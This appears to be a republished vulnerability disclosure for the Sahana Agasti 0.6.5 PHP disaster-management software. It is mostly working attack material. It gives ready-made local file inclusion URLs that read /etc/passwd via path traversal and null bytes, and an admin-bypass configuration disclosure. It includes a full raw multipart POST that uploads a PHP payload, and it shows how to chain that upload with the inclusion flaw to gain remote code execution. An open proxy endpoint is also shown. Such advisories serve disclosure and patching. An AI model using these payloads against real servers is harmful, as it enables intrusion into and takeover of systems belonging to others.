Lucene search
K

sahana agasti <= 0.6.5 - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

Sahana Agasti PHP project <= 0.6.5 has multiple vulnerabilities including Local File Inclusion (LFI)

Code

                                                  :::::::-.   ...    ::::::.    :::.
   ;;,   `&#39;;, ;;     ;;;`;;;;,  `;;;
   `[[     [[[[&#39;     [[[  [[[[[. &#39;[[
    $$,    $$$$      $$$  $$$ &#34;Y$c$$
    888_,o8P&#39;88    .d888  888    Y88
    MMMMP&#34;`   &#34;YmmMMMM&#34;&#34;  MMM     YM
 
   [ Discovered by dun \ posdub[at]gmail.com ]
   [ dun / 2011-01-07 ]
 #############################################################
 #  [ Sahana Agasti &#60;= 0.6.5 ]  Multiple Vulnerabilities     #
 #############################################################
 #
 # Script: &#34;Agasti is the PHP based project of the Sahana Software Foundation. 
 #          Based a long-term preparedness for disaster management...&#34;
 #
 # Script site: http://www.sahanafoundation.org/
 # Download: https://launchpad.net/sahana-agasti/
 #

 [LFI] Vuln: ( Scenario 1)
 http://site.com/sahana-0.6.5/www/stream.php?stream_type=/../../../../../../../../../etc/passwd%00
 File: ./sahana-0.6.5/www/stream.php

    20	$global[&#39;approot&#39;] = realpath(dirname(__FILE__)).&#39;/../&#39;;
    21	// $global[&#39;approot&#39;] = &#39;/usr/local/bin/sahana/&#39;;
    22	$global[&#39;previous&#39;]=false;
	...(CUT)...
    39	    if(!$global[&#39;previous&#39;]){
    40	        $global[&#39;action&#39;] = (NULL == $_REQUEST[&#39;act&#39;]) ? 
    41	                                &#34;default&#34; : $_REQUEST[&#39;act&#39;];
    42	        $global[&#39;module&#39;] = (NULL == $_REQUEST[&#39;mod&#39;]) ? 
    43	                                &#34;home&#34; : $_REQUEST[&#39;mod&#39;];
    44	    }
    45	    $global[&#39;stream_type&#39;] = $_GET[&#39;stream_type&#39;];                                                    // [1]
	...(CUT)...
    52	    shn_front_controller();
	...(CUT)...	
    64	function shn_front_controller() 
    65	{
    66	    global $global;
    67	    global $conf;
    68	    $approot = $global[&#39;approot&#39;];
    69	    $action = $global[&#39;action&#39;];
    70	    $module = $global[&#39;module&#39;];	
	...(CUT)...		
    90	    if($global[&#39;stream_type&#39;] && file_exists($approot.&#39;/inc/lib_st_&#39;.$global[&#39;stream_type&#39;].&#39;.inc&#39;) ){// [2]
    91	        require_once ($approot.&#39;/inc/lib_st_&#39;.$global[&#39;stream_type&#39;].&#39;.inc&#39;);                         // [3] LFI
    92	        if(file_exists($approot.&#39;/mod/&#39;.$module.&#39;/&#39;.$global[&#39;stream_type&#39;].&#39;.inc&#39;))
    93	            $default_file = $approot.&#39;/mod/&#39;.$module.&#39;/&#39;.$global[&#39;stream_type&#39;].&#39;.inc&#39;;
    94	        else
    95	            $default_file = &#39;stream.inc&#39;;
    96	    }	
	

 In this scenario script try to include something like this:
 /var/www/apache/sahana/www/..//inc/lib_st_/../../../../../../../../../etc/passwd\0.inc

 ################################################################################################################################

 [LFI] Vuln: ( Scenario 2)
 http://site.com/sahana-0.6.5/www/stream.php?mod=/../../../../../../../../../etc/passwd%00
 File: ./sahana-0.6.5/www/stream.php
    42	        $global[&#39;module&#39;] = (NULL == $_REQUEST[&#39;mod&#39;]) ? 
    43	                                &#34;home&#34; : $_REQUEST[&#39;mod&#39;];
	...(CUT)...		
    70	    $module = $global[&#39;module&#39;];	
   	...(CUT)...		
	90	    if($global[&#39;stream_type&#39;] && file_exists($approot.&#39;/inc/lib_st_&#39;.$global[&#39;stream_type&#39;].&#39;.inc&#39;) ){
    91	        require_once ($approot.&#39;/inc/lib_st_&#39;.$global[&#39;stream_type&#39;].&#39;.inc&#39;);
    92	        if(file_exists($approot.&#39;/mod/&#39;.$module.&#39;/&#39;.$global[&#39;stream_type&#39;].&#39;.inc&#39;))
    93	            $default_file = $approot.&#39;/mod/&#39;.$module.&#39;/&#39;.$global[&#39;stream_type&#39;].&#39;.inc&#39;;
    94	        else
    95	            $default_file = &#39;stream.inc&#39;;
    96	    }else
    97	        $default_file = &#39;main.inc&#39;;                                                                   // [1]
    98	
    99	    // include the correct module file based on action and module
   100	    $module_file = $approot.&#39;mod/&#39;.$module.&#39;/&#39;.$default_file;                                         // [2]
   101	    if (! file_exists($module_file)) {                                                                //
   102	        $module_file = $approot.&#39;mod/home/&#39;.$default_file;
   103	    }
	...(CUT)...		
   109	    //Include the module file
   110	    include($module_file);                                                                            // [3] LFI

 In this scenario script try to include something like this:
 /var/www/apache/sahana/www/../mod//../../../../../../../../../etc/passwd\0/main.inc

 ################################################################################################################################

 [LFI] Vuln: ( Scenario 3 without file_exists)
 http://site.com/sahana-0.6.5/www/stream.php?act=adm&mod=/../../../../../../../../../etc/passwd%00
 File: ./sahana-0.6.5/www/stream.php

    42	        $global[&#39;module&#39;] = (NULL == $_REQUEST[&#39;mod&#39;]) ?                                              // [1]
    43	                                &#34;home&#34; : $_REQUEST[&#39;mod&#39;];
	...(CUT)...		
    84	    if (preg_match(&#39;/^adm/&#39;,$action)) {                                                               //
    85	        $module = &#39;admin&#39;;                                                                            // [2]
    86	        $action = &#39;modadmin&#39;;                                                                         //
    87	    }
	...(CUT)...		
    96	    }else
    97	        $default_file = &#39;main.inc&#39;;                                                                   // [3]
    98	
    99	    // include the correct module file based on action and module
   100	    $module_file = $approot.&#39;mod/&#39;.$module.&#39;/&#39;.$default_file;              // [4] ( /var/www/apache/sahana/www/../mod/admin/main.inc )
	...(CUT)...	
   110	    include($module_file);                                                                            // [5]
	...(CUT)...	   
   125	        $module_function = &#39;shn_&#39;.$module.&#39;_&#39;.$action;                                                // [6] 
   126	        if (!function_exists($module_function)) {                                                     //
   127	            $module_function=&#39;shn_&#39;.$module.&#39;_default&#39;;
   128	        }
   129	        $_SESSION[&#39;last_module&#39;]=$module;
   130	        $_SESSION[&#39;last_action&#39;]=$action;
   131	        $output = $module_function();                                      // [7]  ( shn_admin_modadmin() ) 

 File: ./sahana-0.6.5/mod/admin/main.inc

   161	function shn_admin_modadmin()
   162	{
   163		global $global;
   164	
   165		// include original module admin section
   166		include $global[&#39;approot&#39;].&#34;/mod/&#34;.$global[&#39;module&#39;].&#34;/admin.inc&#34;;                            // [8] LFI

 In this scenario script try to include something like this:
 /var/www/apache/sahana/www/..//mod//../../../../../../../../../etc/passwd\0/admin.inc

 ################################################################################################################################

 [Configuration disclosure] Vuln:
 http://site.com/sahana-0.6.5/www/stream.php?mod=admin&act=conf_list
 File: ./sahana-0.6.5/www/stream.php

   100	    $module_file = $approot.&#39;mod/&#39;.$module.&#39;/&#39;.$default_file;              // [1] ( /var/www/apache/sahana/www/../mod/admin/main.inc )                    
	...(CUT)...	   
   110	    include($module_file);                                                 // [2]
	...(CUT)...	    
   125	        $module_function = &#39;shn_&#39;.$module.&#39;_&#39;.$action;                     // [3]
   126	        if (!function_exists($module_function)) {
   127	            $module_function=&#39;shn_&#39;.$module.&#39;_default&#39;;
   128	        }
   129	        $_SESSION[&#39;last_module&#39;]=$module;
   130	        $_SESSION[&#39;last_action&#39;]=$action;
   131	        $output = $module_function();                                      // [4] ( shn_admin_conf_list()  )
   
 File: ./sahana-0.6.5/mod/admin/main.inc  
    31	include_once $global[&#39;approot&#39;].&#34;mod/admin/conf_admin.inc&#34;;                // [5]
	
 File: ./sahana-0.6.5/mod/admin/conf_admin.inc
    22	function shn_admin_conf_list()                                             // [6] Configuration disclosure
	...(CUT)...	   
   
 We can prepare function name, with using GET variables (mod, act)
 We can use prepared functions with &#34;shn_&#34; prefix, with bypassing admin privileges
 So lets see what next..

 ################################################################################################################################

 [Arbitrary File Upload] Vuln:
 http://site.com/sahana-0.6.5/www/stream.php?mod=admin&act=lc_file_browser
 File: ./sahana-0.6.5/www/stream.php

   131	        $output = $module_function();                                      // [1] ( shn_admin_lc_file_browser()       

 File: ./sahana-0.6.5/mod/admin/main.inc  

   683	function shn_admin_lc_file_browser()                                       // [2] Arbitrary File Upload
   684	{
   685		global $global;
   686		$locale = $_POST[&#39;locale&#39;];
   687		//$file_type=$_POST[&#39;file_type&#39;];
   688		$uploaddir = &#34;../res/locale/$locale/LC_MESSAGES/&#34;;
   689		//&#34;../res/locale/$locale/LC_MESSAGES/&#34;;
   690		//echo $uploaddir;
   691		$uploadfile = $uploaddir . basename($_FILES[&#39;userfile&#39;][&#39;name&#39;]);
   692	
   693		if(move_uploaded_file($_FILES[&#39;userfile&#39;][&#39;tmp_name&#39;], $uploadfile)) {
   694			add_confirmation(&#39;File uploaded sucessfully&#39;);
   695		}else {
   696			add_error(&#39;File uploaded failed&#39;);
   697		}
   698	
   699	}

 We can upload some file to /res/locale/$locale/LC_MESSAGES/ (default $locale is my_MM),
 with using prepared POST
 Example:

 POST /sahana-0.6.5/www/stream.php?mod=admin&act=lc_file_browser HTTP/1.1
 Host: site.com
 User-Agent: Mozilla/5.0 Gecko/20101203 Firefox/3.6.13
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: pl,en-us;q=0.7,en;q=0.3
 Accept-Encoding: gzip,deflate
 Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
 Keep-Alive: 115
 Connection: keep-alive
 Content-Type: multipart/form-data; boundary=---------------------------11682257938924
 Content-Length: 420
 -----------------------------11682257938924
 Content-Disposition: form-data; name=&#34;MAX_FILE_SIZE&#34;

 50000
 -----------------------------11682257938924
 Content-Disposition: form-data; name=&#34;userfile&#34;; filename=&#34;file.txt&#34;
 Content-Type: text/plain 

 &#60;?php phpinfo(); ?&#62;
 -----------------------------11682257938924
 Content-Disposition: form-data; name=&#34;locale&#34;
 
 my_MM
 -----------------------------11682257938924-- 

 File /res/locale/my_MM/LC_MESSAGES/file.txt is created
 We can use main.inc filename instead of file.txt
 So let&#39;s go back to LFI ( scenario 1,2 ):
 ( scenario 1 ) http://site.com/sahana-0.6.5/www/stream.php?stream_type=/../../res/locale/my_MM/LC_MESSAGES/main
 ( scenario 2 ) http://site.com/sahana-0.6.5/www/stream.php?mod=/..//res/locale/my_MM/LC_MESSAGES/ 
 It includes LC_MESSAGES/main.inc with our &#60;?php phpinfo(); ?&#62; (AFU+LFI=RCE)

 ################################################################################################################################

 [PHP Proxy]
 http://site.com/sahana-0.6.5/www/res/lib_proxy.php?url=http://site2.com/dupa.php
 File: ./sahana-0.6.5/www/res/lib_proxy.php

    17  $url = $_GET[&#39;url&#39;];
    18  $parseurl = urldecode($url);
    19
    20  // open cURL session
    21  $ch = curl_init();
    22  curl_setopt($ch, CURLOPT_POST,1);
    23  curl_setopt($ch, CURLOPT_URL,$parseurl);
    24  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,  2);
    25  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    26  curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
    27
    28  $xml = curl_exec($ch);
    29  curl_close($ch);
    30
    31  header(&#34;Content-Type: text/xml&#34;);
    32
    33  echo $xml;

 ################################################################################################################################
 And possible other bugs...
 ################################################################################################################################

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
18